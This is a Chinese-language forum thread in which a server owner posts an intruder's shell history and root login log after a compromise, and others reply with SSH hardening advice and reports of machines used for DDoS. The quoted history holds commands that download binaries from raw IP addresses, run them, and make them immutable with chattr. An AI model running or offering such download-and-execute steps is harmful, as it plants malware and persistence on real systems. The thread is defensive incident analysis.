服务器被入侵，麻烦高手帮忙分析下

[evilangel]

服务器被入侵，密码被改了，流量一下跑了很多，麻烦高手帮忙分析下，这位黑兄拿我服务器干嘛了
root@(none):~# ls
bulong conf.n fake.cfg ssh33 wget-log.1
bulong.1 dlcfg getsetup.hb wget-log

root@(none):~# history
1 uptime
2 ps -aux
3 exit
4 free -m
5 df -h
6 passwd
7 ps -ef
8 wget http://222.186.40.170:666/getsetup.hb
9 chmod +x getsetup.hb
10 ./getsetup.hb
11 chattr +i getsetup.hb
12 wget http://96.44.185.98:8080/ssh33
13 chmod +x ssh33
14 ./ssh33
15 chattr +i ssh33
16 wget http://23.228.102.152:1818/bulong
17 ps -ef
18 wget http://23.228.102.152:1818/bulong
19 wget http://222.186.40.170:666/bulong
20 chmod +x bulong
21 ./bulong
22 chattr +i bulong
23 ps -ef
24 ls
25 history

root@(none):/var/log# last
root pts/1 111.8.2.138 Mon Jul 7 04:22 still logged in
reboot system boot 3.15.3-x86_64-li Mon Jul 7 04:22 - 04:33 (00:10)
reboot system boot 3.15.3-x86_64-li Mon Jul 7 04:16 - 04:20 (00:04)
root pts/0 58.22.113.155 Sun Jul 6 16:42 - 16:46 (00:03)
root pts/1 58.22.113.155 Sun Jul 6 16:08 - 16:11 (00:03)
root pts/0 58.22.113.155 Sun Jul 6 16:05 - 16:11 (00:06)
root pts/0 27.158.25.16 Sun Jul 6 04:41 - 04:41 (00:00)
root pts/0 ns405606.ip-37-1 Sat Jul 5 11:07 - 11:07 (00:00)
root pts/0 119.39.233.73 Wed Jul 2 14:01 - 16:50 (02:49)
root pts/0 119.39.233.73 Wed Jul 2 13:58 - 13:59 (00:00)
reboot system boot 3.15.3-x86_64-li Wed Jul 2 13:57 - 23:14 (4+09:16)

[tonyluj]

千万不要用root登录，用个普通权限的user + sudo即可，文件权限也不要用chmod 777
SSH直接禁止ROOT + 改端口 + 证书登录

并装上fail2ban，防止别人暴力破解

[songday]

我刚刚也是被通知，说有两个机器被用作 DDOS 攻击了
刚好上面也跑了 ES，那个 ES 补丁是在官网上的吗？

[songday]

@humiaozuzu 你好，能告知一下 ES 的补丁是在哪里吗？
我在官网上没有找到 :(